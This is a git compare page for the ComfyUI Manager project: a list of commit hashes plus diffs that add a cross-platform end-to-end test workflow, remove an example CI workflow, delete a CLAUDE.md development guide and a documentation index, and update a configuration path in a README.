Compare commits
301
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
affc3e7d2e | ||
|
|
099aed1ad4 | ||
|
|
e129697151 | ||
|
|
cd60f33f6d | ||
|
|
ddccefbc70 | ||
|
|
3bc2e18f88 | ||
|
|
d7a2277017 | ||
|
|
f042d73b72 | ||
|
|
0d88a3874d | ||
|
|
ef8703a3d7 | ||
|
|
a4138a89ee | ||
|
|
f85a12f2a2 | ||
|
|
29216e96bd | ||
|
|
3f0fc85b95 | ||
|
|
b9def4cb6e | ||
|
|
a7eb93fff0 | ||
|
|
a542695e9c | ||
|
|
2779c66b39 | ||
|
|
952613c07b | ||
|
|
75f27d99e2 | ||
|
|
8e8b6ca724 | ||
|
|
3425fb7a14 | ||
|
|
c69e7bcf03 | ||
|
|
85ebcd9897 | ||
|
|
69b6f1a66b | ||
|
|
e4a90089ab | ||
|
|
674b9f3705 | ||
|
|
4941fb8aa0 | ||
|
|
183af0dfa5 | ||
|
|
45ac5429f8 | ||
|
|
c771977a95 | ||
|
|
668d7bbb2c | ||
|
|
926cfabb58 | ||
|
|
a9a8d05115 | ||
|
|
e368f4366a | ||
|
|
dc5bddbc17 | ||
|
|
358a480408 | ||
|
|
c96fdb3c7a | ||
|
|
c090abcc02 | ||
|
|
1ff02be35f | ||
|
|
10fbfb88f7 | ||
|
|
9753df72ed | ||
|
|
095cc3f792 | ||
|
|
656171037b | ||
|
|
7ac10f9442 | ||
|
|
3925ba27b4 | ||
|
|
44ba79aa31 | ||
|
|
14d0e31268 | ||
|
|
033acffad1 | ||
|
|
d29ff808a5 | ||
|
|
dc9b6d655b | ||
|
|
d340c85013 | ||
|
|
e328353664 | ||
|
|
02785af8fd | ||
|
|
736ae5d63e | ||
|
|
e1eeb617d2 | ||
|
|
23b6c7f0de | ||
|
|
997f97e1fc | ||
|
|
ff335ff1a0 | ||
|
|
cb3036ef81 | ||
|
|
f762906188 | ||
|
|
dde7920f8c | ||
|
|
1a0d24110a | ||
|
|
e79f6c4471 | ||
|
|
a8a7024a84 | ||
|
|
d93d002da0 | ||
|
|
baaa0479e8 | ||
|
|
cc3bd7a056 | ||
|
|
4ecefb3b71 | ||
|
|
f24b5aa251 | ||
|
|
de547da4cd | ||
|
|
0f884166a6 | ||
|
|
63379f759d | ||
|
|
8fdff20243 | ||
|
|
5dfa07ca03 | ||
|
|
343645be6a | ||
|
|
91bf21d7a8 | ||
|
|
be6516cfd3 | ||
|
|
61f1e516a3 | ||
|
|
73b2278b45 | ||
|
|
aa625e30b6 | ||
|
|
29a46fe4ce | ||
|
|
5b3ee49530 | ||
|
|
a9158a101f | ||
|
|
feed8abb34 | ||
|
|
70decc740f | ||
|
|
5b5c83f8c5 | ||
|
|
773c06f40d | ||
|
|
737e6ad5ed | ||
|
|
81bca9c94e | ||
|
|
eef0654de2 | ||
|
|
997a00b8a2 | ||
|
|
4d25232c5f | ||
|
|
135befa101 | ||
|
|
44cac3fc43 | ||
|
|
449fa3510e | ||
|
|
d958af8aad | ||
|
|
09f8d5cb2d | ||
|
|
aedc99cefd | ||
|
|
b32cab6e9a | ||
|
|
a95186965e | ||
|
|
7067de1bb2 | ||
|
|
f45d878d21 | ||
|
|
a0532b938d | ||
|
|
6ad12b7652 | ||
|
|
02887c6c9b | ||
|
|
1b645e1cc3 | ||
|
|
0a4b2a0488 | ||
|
|
d4ce6ddc52 | ||
|
|
5a5b989533 | ||
|
|
b57cffb0fa | ||
|
|
72aa95cacf | ||
|
|
14ef448937 | ||
|
|
1c10607c06 | ||
|
|
41e53a1f2a | ||
|
|
cde83e9a38 | ||
|
|
6c206b1c72 | ||
|
|
a474219e7b | ||
|
|
3b8d25eb31 | ||
|
|
0faa0aa668 | ||
|
|
0fcdcc93a2 | ||
|
|
461d5e72fe | ||
|
|
3f030a2121 | ||
|
|
7fb8e8662f | ||
|
|
dd3ab9cff2 | ||
|
|
97b518de12 | ||
|
|
d2a795c866 | ||
|
|
8a3d65be20 | ||
|
|
b2126d8ba5 | ||
|
|
6386411d21 | ||
|
|
4250244136 | ||
|
|
77c4f9993d | ||
|
|
c7c8417577 | ||
|
|
9d0985ded8 | ||
|
|
3663e10e33 | ||
|
|
5f37a82c3c | ||
|
|
026bf1dfd7 | ||
|
|
643a6e5080 | ||
|
|
5267502896 | ||
|
|
c3c152122d | ||
|
|
afeac097e5 | ||
|
|
e5cea64132 | ||
|
|
26da78cf15 | ||
|
|
179a1e1ca0 | ||
|
|
b379d275d1 | ||
|
|
133cdfb203 | ||
|
|
2b79edd9be | ||
|
|
3862a92e04 | ||
|
|
f4e3817fcc | ||
|
|
61f0f5d67c | ||
|
|
87f57551ea | ||
|
|
ee51efed69 | ||
|
|
5dab865681 | ||
|
|
8c0581eebc | ||
|
|
a72f9f422c | ||
|
|
1354a8c970 | ||
|
|
00a5115267 | ||
|
|
00282eab7b | ||
|
|
bec128de58 | ||
|
|
9edfa7b4fa | ||
|
|
a9af70e5f0 | ||
|
|
910caf593f | ||
|
|
02dc072dc7 | ||
|
|
78fb354452 | ||
|
|
66f5eca7fa | ||
|
|
be95396a57 | ||
|
|
59cbed429f | ||
|
|
d49df7aebb | ||
|
|
0aa9faad2e | ||
|
|
1337def888 | ||
|
|
4b100c558b | ||
|
|
1425a71ece | ||
|
|
a8524508fe | ||
|
|
a5ff973d53 | ||
|
|
337c9aa2c7 | ||
|
|
f1448403ac | ||
|
|
d0b5f77ec6 | ||
|
|
9cb22ffb60 | ||
|
|
f556962d82 | ||
|
|
d28448d519 | ||
|
|
c590a88ffd | ||
|
|
a1fc6c817b | ||
|
|
5554e52799 | ||
|
|
ca749eb4d2 | ||
|
|
41ceee3d24 | ||
|
|
5acfd52986 | ||
|
|
ec4c7b2f6a | ||
|
|
22a3d8f95f | ||
|
|
06b89ca277 | ||
|
|
9e5ffbd00a | ||
|
|
39e92ed778 | ||
|
|
68a3ec567a | ||
|
|
28231e81b3 | ||
|
|
b2ee0feeaa | ||
|
|
5541b6b366 | ||
|
|
408a5fe27e | ||
|
|
bffc73f976 | ||
|
|
bd6edfc9dd | ||
|
|
2cb24e8a94 | ||
|
|
a49779c4d2 | ||
|
|
15a5a5f5df | ||
|
|
b5e0558d6e | ||
|
|
4d683b23fc | ||
|
|
c13da606b2 | ||
|
|
c792f9277c | ||
|
|
b430f42622 | ||
|
|
fee822f5ae | ||
|
|
192659ecbd | ||
|
|
810431b9e2 | ||
|
|
02d845adf3 | ||
|
|
89c7b960fb | ||
|
|
ed1e399a56 | ||
|
|
8a3ce1ae57 | ||
|
|
d89ff649f8 | ||
|
|
24a73b5d1c | ||
|
|
4d0c40ff8a | ||
|
|
b5a2bed539 | ||
|
|
0efb79f571 | ||
|
|
df944b9a0f | ||
|
|
2c11846430 | ||
|
|
0035c01186 | ||
|
|
34be3384fe | ||
|
|
ebbc7b3335 | ||
|
|
4ccc8c3086 | ||
|
|
af9ebc9568 | ||
|
|
ca4b61c5f0 | ||
|
|
393839b3ab | ||
|
|
dadfc96e00 | ||
|
|
a0a33aef03 | ||
|
|
99ed81e0f5 | ||
|
|
5b697db219 | ||
|
|
8e5bf46e14 | ||
|
|
9f649b0900 | ||
|
|
abb15e06d3 | ||
|
|
11a317493e | ||
|
|
e8cece0c1b | ||
|
|
1ab882f81d | ||
|
|
b9338186e3 | ||
|
|
7c3cbff425 | ||
|
|
1ff0afc633 | ||
|
|
bfe7ee8fba | ||
|
|
49c73ed10e | ||
|
|
f571baacf9 | ||
|
|
6f02e1114c | ||
|
|
e230f43565 | ||
|
|
0d9593e71b | ||
|
|
20778ecfb0 | ||
|
|
2ea991d960 | ||
|
|
119c107834 | ||
|
|
800a0d0449 | ||
|
|
95c43f0189 | ||
|
|
9c77176c7f | ||
|
|
ddb6a55cd6 | ||
|
|
56a4f6fdd7 | ||
|
|
8a30f788b5 | ||
|
|
380a1c2c8c | ||
|
|
cd8e8335cf | ||
|
|
6e1beb54a4 | ||
|
|
9217c965dd | ||
|
|
a4d71ef487 | ||
|
|
518f332047 | ||
|
|
9257d497b8 | ||
|
|
07cf5de4f7 | ||
|
|
43ad69e48d | ||
|
|
c62e236cc6 | ||
|
|
15a2fbb293 | ||
|
|
16800c3fa0 | ||
|
|
ce09f41aa3 | ||
|
|
47dc2f036a | ||
|
|
f27a154bfd | ||
|
|
79757366e8 | ||
|
|
2cd9a417d6 | ||
|
|
deb05c6cc3 | ||
|
|
b6f171de51 | ||
|
|
a58d5f6999 | ||
|
|
e0b3f3eb45 | ||
|
|
4bbc8594a7 | ||
|
|
3a377300e1 | ||
|
|
33a07e3a86 | ||
|
|
212cafc1d7 | ||
|
|
2643b3cbcc | ||
|
|
d445229b6d | ||
|
|
dab5c451b0 | ||
|
|
7bdf06131a | ||
|
|
854648d5af | ||
|
|
c5f7b97359 | ||
|
|
dd8a727ad6 | ||
|
|
6c627fe422 | ||
|
|
ee980e1caf | ||
|
|
22bfaf6527 | ||
|
|
48ab48cc30 | ||
|
|
a0b14d4127 | ||
|
|
03f9fe1a70 | ||
|
|
8915b8d796 | ||
|
|
c77ffeeec0 | ||
|
|
4acf5660b2 | ||
|
|
2d9f0a668c | ||
|
|
9e6cb246cc | ||
|
|
14544ca63d | ||
|
|
26b347c04c | ||
|
|
36f75d1811 |
@@ -0,0 +1,74 @@
|
||||
name: "E2E Tests on Multiple Platforms"
|
||||
on:
|
||||
push:
|
||||
branches: [main, feat/*, fix/*]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 15
|
||||
env:
|
||||
PYTHONIOENCODING: "utf8"
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
python-version: ["3.10"]
|
||||
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@v4
|
||||
|
||||
- name: Set E2E_ROOT
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
|
||||
else
|
||||
echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
|
||||
fi
|
||||
|
||||
- name: Setup E2E environment
|
||||
shell: bash
|
||||
env:
|
||||
MANAGER_ROOT: ${{ github.workspace }}
|
||||
run: |
|
||||
python tests/e2e/scripts/setup_e2e_env.py
|
||||
|
||||
- name: Run E2E tests
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
|
||||
else
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
fi
|
||||
uv pip install --python "$VENV_PY" pytest pytest-timeout
|
||||
|
||||
"$VENV_PY" -m pytest tests/e2e/test_e2e_uv_compile.py -v -s --timeout=300
|
||||
@@ -1,56 +0,0 @@
|
||||
# Example: GitHub Actions workflow to auto-update test durations
|
||||
# Rename to .github/workflows/update-test-durations.yml to enable
|
||||
|
||||
name: Update Test Durations
|
||||
|
||||
on:
|
||||
schedule:
|
||||
# Run weekly on Sundays at 2 AM UTC
|
||||
- cron: '0 2 * * 0'
|
||||
workflow_dispatch: # Allow manual trigger
|
||||
|
||||
jobs:
|
||||
update-durations:
|
||||
runs-on: self-hosted
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: '3.9'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -e .
|
||||
pip install pytest pytest-split
|
||||
|
||||
- name: Update test durations
|
||||
run: |
|
||||
chmod +x tests/update_test_durations.sh
|
||||
./tests/update_test_durations.sh
|
||||
|
||||
- name: Check for changes
|
||||
id: check_changes
|
||||
run: |
|
||||
if git diff --quiet .test_durations; then
|
||||
echo "changed=false" >> $GITHUB_OUTPUT
|
||||
else
|
||||
echo "changed=true" >> $GITHUB_OUTPUT
|
||||
fi
|
||||
|
||||
- name: Create Pull Request
|
||||
if: steps.check_changes.outputs.changed == 'true'
|
||||
uses: peter-evans/create-pull-request@v5
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
commit-message: 'chore: update test duration data'
|
||||
title: 'Update test duration data'
|
||||
body: |
|
||||
Automated update of `.test_durations` file for optimal parallel test distribution.
|
||||
|
||||
This ensures pytest-split can effectively balance test load across parallel environments.
|
||||
branch: auto/update-test-durations
|
||||
delete-branch: true
|
||||
+1
-6
@@ -22,10 +22,5 @@ build
|
||||
dist
|
||||
*.egg-info
|
||||
.env
|
||||
.git
|
||||
.claude
|
||||
.hypothesis
|
||||
|
||||
# Test artifacts
|
||||
tests/tmp/
|
||||
tests/env/
|
||||
test_venv
|
||||
|
||||
@@ -1,170 +0,0 @@
|
||||
# CLAUDE.md - Development Guidelines
|
||||
|
||||
## Project Context
|
||||
This is ComfyUI Manager, a Python package that provides management functions for ComfyUI custom nodes, models, and extensions. The project follows modern Python packaging standards and maintains both current (`glob`) and legacy implementations.
|
||||
|
||||
## Code Architecture
|
||||
- **Current Development**: Work in `comfyui_manager/glob/` package
|
||||
- **Legacy Code**: `comfyui_manager/legacy/` (reference only, do not modify unless explicitly asked)
|
||||
- **Common Utilities**: `comfyui_manager/common/` for shared functionality
|
||||
- **Data Models**: `comfyui_manager/data_models/` for API schemas and types
|
||||
|
||||
## Development Workflow for API Changes
|
||||
When modifying data being sent or received:
|
||||
1. Update `openapi.yaml` file first
|
||||
2. Verify YAML syntax using `yaml.safe_load`
|
||||
3. Regenerate types following `data_models/README.md` instructions
|
||||
4. Verify new data model generation
|
||||
5. Verify syntax of generated type files
|
||||
6. Run formatting and linting on generated files
|
||||
7. Update `__init__.py` files in `data_models` to export new models
|
||||
8. Make changes to rest of codebase
|
||||
9. Run CI tests to verify changes
|
||||
|
||||
## Coding Standards
|
||||
### Python Style
|
||||
- Follow PEP 8 coding standards
|
||||
- Use type hints for all function parameters and return values
|
||||
- Target Python 3.9+ compatibility
|
||||
- Line length: 120 characters (as configured in ruff)
|
||||
|
||||
### Security Guidelines
|
||||
- Never hardcode API keys, tokens, or sensitive credentials
|
||||
- Use environment variables for configuration
|
||||
- Validate all user input and file paths
|
||||
- Use prepared statements for database operations
|
||||
- Implement proper error handling without exposing internal details
|
||||
- Follow principle of least privilege for file/network access
|
||||
|
||||
### Code Quality
|
||||
- Write descriptive variable and function names
|
||||
- Include docstrings for public functions and classes
|
||||
- Handle exceptions gracefully with specific error messages
|
||||
- Use logging instead of print statements for debugging
|
||||
- Maintain test coverage for new functionality
|
||||
|
||||
## Dependencies & Tools
|
||||
### Core Dependencies
|
||||
- GitPython, PyGithub for Git operations
|
||||
- typer, rich for CLI interface
|
||||
- transformers, huggingface-hub for AI model handling
|
||||
- uv for fast package management
|
||||
|
||||
### Development Tools
|
||||
- **Linting**: ruff (configured in pyproject.toml)
|
||||
- **Testing**: pytest with coverage
|
||||
- **Pre-commit**: pre-commit hooks for code quality
|
||||
- **Type Checking**: Use type hints, consider mypy for strict checking
|
||||
|
||||
## File Organization
|
||||
- Keep business logic in appropriate modules under `glob/`
|
||||
- Place utility functions in `common/` for reusability
|
||||
- Store UI/frontend code in `js/` directory
|
||||
- Maintain documentation in `docs/` with multilingual support
|
||||
|
||||
### Large Data Files Policy
|
||||
- **NEVER read .json files directly** - These contain large datasets that cause unnecessary token consumption
|
||||
- Use `JSON_REFERENCE.md` for understanding JSON file structures and schemas
|
||||
- Work with processed/filtered data through APIs when possible
|
||||
- For structure analysis, refer to data models in `comfyui_manager/data_models/` instead
|
||||
|
||||
## Git Workflow
|
||||
- Work on feature branches, not main directly
|
||||
- Write clear, descriptive commit messages
|
||||
- Run tests and linting before committing
|
||||
- Keep commits atomic and focused
|
||||
|
||||
## Testing Requirements
|
||||
|
||||
### ⚠️ Critical: Always Reinstall Before Testing
|
||||
**ALWAYS run `uv pip install .` before executing tests** to ensure latest code changes are installed.
|
||||
|
||||
### Test Execution Workflow
|
||||
```bash
|
||||
# 1. Reinstall package (REQUIRED)
|
||||
uv pip install .
|
||||
|
||||
# 2. Clean Python cache
|
||||
find comfyui_manager -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null
|
||||
find tests/env -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null
|
||||
|
||||
# 3. Stop any running servers
|
||||
pkill -f "ComfyUI/main.py"
|
||||
sleep 2
|
||||
|
||||
# 4. Start ComfyUI test server
|
||||
cd tests/env
|
||||
python ComfyUI/main.py --enable-compress-response-body --enable-manager --front-end-root front > /tmp/test-server.log 2>&1 &
|
||||
sleep 20
|
||||
|
||||
# 5. Run tests
|
||||
python -m pytest tests/glob/test_version_switching_comprehensive.py -v
|
||||
|
||||
# 6. Stop server
|
||||
pkill -f "ComfyUI/main.py"
|
||||
```
|
||||
|
||||
### Test Development Guidelines
|
||||
- Write unit tests for new functionality
|
||||
- Test error handling and edge cases
|
||||
- Ensure tests pass before submitting changes
|
||||
- Use pytest fixtures for common test setup
|
||||
- Document test scenarios and expected behaviors
|
||||
|
||||
### Why Reinstall is Required
|
||||
- Even with editable install, some changes require reinstallation
|
||||
- Python bytecode cache may contain outdated code
|
||||
- ComfyUI server loads manager package at startup
|
||||
- Package metadata and entry points need to be refreshed
|
||||
|
||||
### Automated Test Execution Policy
|
||||
**IMPORTANT**: When tests need to be run (e.g., after code changes, adding new tests):
|
||||
- **ALWAYS** automatically perform the complete test workflow without asking user permission
|
||||
- **ALWAYS** stop existing servers, restart fresh server, and run tests
|
||||
- **NEVER** ask user "should I run tests?" or "should I restart server?"
|
||||
- This includes: package reinstall, cache cleanup, server restart, test execution, and server cleanup
|
||||
|
||||
**Rationale**: Testing is a standard part of development workflow and should be executed automatically to verify changes.
|
||||
|
||||
See `.claude/livecontext/test_execution_best_practices.md` for detailed testing procedures.
|
||||
|
||||
## Command Line Interface
|
||||
- Use typer for CLI commands
|
||||
- Provide helpful error messages and usage examples
|
||||
- Support both interactive and scripted usage
|
||||
- Follow Unix conventions for command-line tools
|
||||
|
||||
## Performance Considerations
|
||||
- Use async/await for I/O operations where appropriate
|
||||
- Cache expensive operations (GitHub API calls, file operations)
|
||||
- Implement proper pagination for large datasets
|
||||
- Consider memory usage when processing large files
|
||||
|
||||
## Code Change Proposals
|
||||
- **Always show code changes using VSCode diff format**
|
||||
- Use Edit tool to demonstrate exact changes with before/after comparison
|
||||
- This allows visual review of modifications in the IDE
|
||||
- Include context about why changes are needed
|
||||
|
||||
## Documentation
|
||||
- Update README.md for user-facing changes
|
||||
- Document API changes in openapi.yaml
|
||||
- Provide examples for complex functionality
|
||||
- Maintain multilingual docs (English/Korean) when relevant
|
||||
|
||||
## Session Context & Decision Documentation
|
||||
|
||||
### Live Context Policy
|
||||
**Follow the global Live Context Auto-Save policy** defined in `~/.claude/CLAUDE.md`.
|
||||
|
||||
### Project-Specific Context Requirements
|
||||
- **Test Execution Results**: Always save comprehensive test results to `.claude/livecontext/`
|
||||
- Test count, pass/fail status, execution time
|
||||
- New tests added and their purpose
|
||||
- Coverage metrics and improvements
|
||||
- **CNR Version Switching Context**: Document version switching behavior and edge cases
|
||||
- Update vs Install operation differences
|
||||
- Old version handling (preserved vs deleted)
|
||||
- State management insights
|
||||
- **API Changes**: Document OpenAPI schema changes and data model updates
|
||||
- **Architecture Decisions**: Document manager_core.py and manager_server.py design choices
|
||||
@@ -1,187 +0,0 @@
|
||||
# ComfyUI Manager Documentation Index
|
||||
|
||||
**Last Updated**: 2025-11-04
|
||||
**Purpose**: Navigate all project documentation organized by purpose and audience
|
||||
|
||||
---
|
||||
|
||||
## 📖 Quick Links
|
||||
|
||||
- **Getting Started**: [README.md](README.md)
|
||||
- **User Documentation**: [docs/](docs/)
|
||||
- **Test Documentation**: [tests/glob/](tests/glob/)
|
||||
- **Contributing**: [CONTRIBUTING.md](CONTRIBUTING.md)
|
||||
- **Development**: [CLAUDE.md](CLAUDE.md)
|
||||
|
||||
---
|
||||
|
||||
## 📚 Documentation Structure
|
||||
|
||||
### Root Level
|
||||
|
||||
| Document | Purpose | Audience |
|
||||
|----------|---------|----------|
|
||||
| [README.md](README.md) | Project overview and quick start | Everyone |
|
||||
| [CONTRIBUTING.md](CONTRIBUTING.md) | Contribution guidelines | Contributors |
|
||||
| [CLAUDE.md](CLAUDE.md) | Development guidelines for AI-assisted development | Developers |
|
||||
| [JSON_REFERENCE.md](JSON_REFERENCE.md) | JSON file schema reference | Developers |
|
||||
|
||||
### User Documentation (`docs/`)
|
||||
|
||||
| Document | Purpose | Language |
|
||||
|----------|---------|----------|
|
||||
| [docs/README.md](docs/README.md) | Documentation overview | English |
|
||||
| [docs/PACKAGE_VERSION_MANAGEMENT.md](docs/PACKAGE_VERSION_MANAGEMENT.md) | Package version management guide | English |
|
||||
| [docs/SECURITY_ENHANCED_INSTALLATION.md](docs/SECURITY_ENHANCED_INSTALLATION.md) | Security features for URL installation | English |
|
||||
| [docs/en/cm-cli.md](docs/en/cm-cli.md) | CLI usage guide | English |
|
||||
| [docs/en/use_aria2.md](docs/en/use_aria2.md) | Aria2 download configuration | English |
|
||||
| [docs/ko/cm-cli.md](docs/ko/cm-cli.md) | CLI usage guide | Korean |
|
||||
|
||||
### Package Documentation
|
||||
|
||||
| Package | Document | Purpose |
|
||||
|---------|----------|---------|
|
||||
| comfyui_manager | [comfyui_manager/README.md](comfyui_manager/README.md) | Package overview |
|
||||
| common | [comfyui_manager/common/README.md](comfyui_manager/common/README.md) | Common utilities documentation |
|
||||
| data_models | [comfyui_manager/data_models/README.md](comfyui_manager/data_models/README.md) | Data model generation guide |
|
||||
| glob | [comfyui_manager/glob/CLAUDE.md](comfyui_manager/glob/CLAUDE.md) | Glob module development guide |
|
||||
| js | [comfyui_manager/js/README.md](comfyui_manager/js/README.md) | JavaScript components |
|
||||
|
||||
### Test Documentation (`tests/`)
|
||||
|
||||
| Document | Purpose | Status |
|
||||
|----------|---------|--------|
|
||||
| [tests/TEST.md](tests/TEST.md) | Testing overview | ✅ |
|
||||
| [tests/glob/README.md](tests/glob/README.md) | Glob API endpoint tests | ✅ Translated |
|
||||
| [tests/glob/TESTING_GUIDE.md](tests/glob/TESTING_GUIDE.md) | Test execution guide | ✅ |
|
||||
| [tests/glob/TEST_INDEX.md](tests/glob/TEST_INDEX.md) | Test documentation unified index | ✅ Translated |
|
||||
| [tests/glob/TEST_LOG.md](tests/glob/TEST_LOG.md) | Test execution log | ✅ Translated |
|
||||
|
||||
### Node Database
|
||||
|
||||
| Document | Purpose |
|
||||
|----------|---------|
|
||||
| [node_db/README.md](node_db/README.md) | Node database information |
|
||||
|
||||
---
|
||||
|
||||
## 🔒 Internal Documentation (`docs/internal/`)
|
||||
|
||||
### CLI Migration (`docs/internal/cli_migration/`)
|
||||
|
||||
Historical documentation for CLI migration from legacy to glob module (completed).
|
||||
|
||||
| Document | Purpose |
|
||||
|----------|---------|
|
||||
| [README.md](docs/internal/cli_migration/README.md) | Migration plan overview |
|
||||
| [CLI_COMPATIBILITY_ANALYSIS.md](docs/internal/cli_migration/CLI_COMPATIBILITY_ANALYSIS.md) | Legacy vs Glob compatibility analysis |
|
||||
| [CLI_IMPLEMENTATION_CONTEXT.md](docs/internal/cli_migration/CLI_IMPLEMENTATION_CONTEXT.md) | Implementation context |
|
||||
| [CLI_IMPLEMENTATION_TODO.md](docs/internal/cli_migration/CLI_IMPLEMENTATION_TODO.md) | Implementation checklist |
|
||||
| [CLI_PURE_GLOB_MIGRATION_PLAN.md](docs/internal/cli_migration/CLI_PURE_GLOB_MIGRATION_PLAN.md) | Technical migration specification |
|
||||
| [CLI_GLOB_API_REFERENCE.md](docs/internal/cli_migration/CLI_GLOB_API_REFERENCE.md) | Glob API reference |
|
||||
| [CLI_IMPLEMENTATION_CONSTRAINTS.md](docs/internal/cli_migration/CLI_IMPLEMENTATION_CONSTRAINTS.md) | Migration constraints |
|
||||
| [CLI_TESTING_CHECKLIST.md](docs/internal/cli_migration/CLI_TESTING_CHECKLIST.md) | Testing checklist |
|
||||
| [CLI_SHOW_LIST_REVISION.md](docs/internal/cli_migration/CLI_SHOW_LIST_REVISION.md) | show_list implementation plan |
|
||||
|
||||
### Test Planning (`docs/internal/test_planning/`)
|
||||
|
||||
Internal test planning documents (in Korean).
|
||||
|
||||
| Document | Purpose | Language |
|
||||
|----------|---------|----------|
|
||||
| [TEST_PLAN_ADDITIONAL.md](docs/internal/test_planning/TEST_PLAN_ADDITIONAL.md) | Additional test scenarios | Korean |
|
||||
| [COMPLEX_SCENARIOS_TEST_PLAN.md](docs/internal/test_planning/COMPLEX_SCENARIOS_TEST_PLAN.md) | Complex multi-version test scenarios | Korean |
|
||||
|
||||
---
|
||||
|
||||
## 📋 Documentation by Audience
|
||||
|
||||
### For Users
|
||||
1. [README.md](README.md) - Start here
|
||||
2. [docs/en/cm-cli.md](docs/en/cm-cli.md) - CLI usage
|
||||
3. [docs/PACKAGE_VERSION_MANAGEMENT.md](docs/PACKAGE_VERSION_MANAGEMENT.md) - Version management
|
||||
|
||||
### For Contributors
|
||||
1. [CONTRIBUTING.md](CONTRIBUTING.md) - Contribution process
|
||||
2. [CLAUDE.md](CLAUDE.md) - Development guidelines
|
||||
3. [comfyui_manager/data_models/README.md](comfyui_manager/data_models/README.md) - Data model workflow
|
||||
|
||||
### For Developers
|
||||
1. [CLAUDE.md](CLAUDE.md) - Development workflow
|
||||
2. [comfyui_manager/glob/CLAUDE.md](comfyui_manager/glob/CLAUDE.md) - Glob module guide
|
||||
3. [JSON_REFERENCE.md](JSON_REFERENCE.md) - Schema reference
|
||||
4. [docs/PACKAGE_VERSION_MANAGEMENT.md](docs/PACKAGE_VERSION_MANAGEMENT.md) - Package management internals
|
||||
|
||||
### For Testers
|
||||
1. [tests/TEST.md](tests/TEST.md) - Testing overview
|
||||
2. [tests/glob/TEST_INDEX.md](tests/glob/TEST_INDEX.md) - Test documentation index
|
||||
3. [tests/glob/TESTING_GUIDE.md](tests/glob/TESTING_GUIDE.md) - Test execution guide
|
||||
|
||||
---
|
||||
|
||||
## 🔄 Documentation Maintenance
|
||||
|
||||
### When to Update
|
||||
- **README.md**: Project structure or main features change
|
||||
- **CLAUDE.md**: Development workflow changes
|
||||
- **Test Documentation**: New tests added or test structure changes
|
||||
- **User Documentation**: User-facing features change
|
||||
- **This Index**: New documentation added or reorganized
|
||||
|
||||
### Documentation Standards
|
||||
- Use clear, descriptive titles
|
||||
- Include "Last Updated" date
|
||||
- Specify target audience
|
||||
- Provide examples where applicable
|
||||
- Keep language simple and accessible
|
||||
- Translate user-facing docs to Korean when possible
|
||||
|
||||
---
|
||||
|
||||
## 🗂️ File Organization
|
||||
|
||||
```
|
||||
comfyui-manager/
|
||||
├── DOCUMENTATION_INDEX.md (this file)
|
||||
├── README.md
|
||||
├── CONTRIBUTING.md
|
||||
├── CLAUDE.md
|
||||
├── JSON_REFERENCE.md
|
||||
├── docs/
|
||||
│ ├── README.md
|
||||
│ ├── PACKAGE_VERSION_MANAGEMENT.md
|
||||
│ ├── SECURITY_ENHANCED_INSTALLATION.md
|
||||
│ ├── en/
|
||||
│ │ ├── cm-cli.md
|
||||
│ │ └── use_aria2.md
|
||||
│ ├── ko/
|
||||
│ │ └── cm-cli.md
|
||||
│ └── internal/
|
||||
│ ├── cli_migration/ (9 files - completed migration docs)
|
||||
│ └── test_planning/ (2 files - Korean test plans)
|
||||
├── comfyui_manager/
|
||||
│ ├── README.md
|
||||
│ ├── common/README.md
|
||||
│ ├── data_models/README.md
|
||||
│ ├── glob/CLAUDE.md
|
||||
│ └── js/README.md
|
||||
├── tests/
|
||||
│ ├── TEST.md
|
||||
│ └── glob/
|
||||
│ ├── README.md
|
||||
│ ├── TESTING_GUIDE.md
|
||||
│ ├── TEST_INDEX.md
|
||||
│ └── TEST_LOG.md
|
||||
└── node_db/
|
||||
└── README.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**Total Documentation Files**: 36 files organized across 6 categories
|
||||
|
||||
**Translation Status**:
|
||||
- ✅ Core user documentation: English
|
||||
- ✅ CLI guide: English + Korean
|
||||
- ✅ Test documentation: English (translated from Korean)
|
||||
- 📝 Internal planning docs: Korean (preserved as-is for historical reference)
|
||||
@@ -89,20 +89,20 @@
|
||||
|
||||
|
||||
## Paths
|
||||
In `ComfyUI-Manager` V3.0 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/default/ComfyUI-Manager/`.
|
||||
In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
|
||||
|
||||
* <USER_DIRECTORY>
|
||||
* If executed without any options, the path defaults to ComfyUI/user.
|
||||
* It can be set using --user-directory <USER_DIRECTORY>.
|
||||
